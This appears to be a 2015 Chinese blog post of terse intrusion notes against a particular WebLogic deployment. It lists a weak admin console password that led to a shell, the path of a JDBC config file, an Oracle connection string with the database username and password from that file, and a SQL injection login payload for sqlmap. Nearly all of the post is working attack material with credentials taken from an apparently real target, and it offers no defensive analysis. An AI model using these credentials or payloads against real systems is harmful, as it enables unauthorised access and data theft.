weblogic

weblogic弱口令导致getshell
**.**.**.**:7001/console/login/LoginForm.jsp
weblogic/weblogic12

 

数据库连接信息
D:/weblogic/weblogic/user_projects/domains/qn_focus/config/jdbc/jndi_qn_cc-jdbc.xml

code 区域

jdbc:oracle:thin:@**.**.**.**:1521/orcl

focususer
focuspas

 

sqlmap

post:

action=login&username=1' or 1=1 *--%20&password=aaaaaa

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

posted @ 2015-12-17 13:03  orical  阅读(297)  评论(0)  编辑  收藏  举报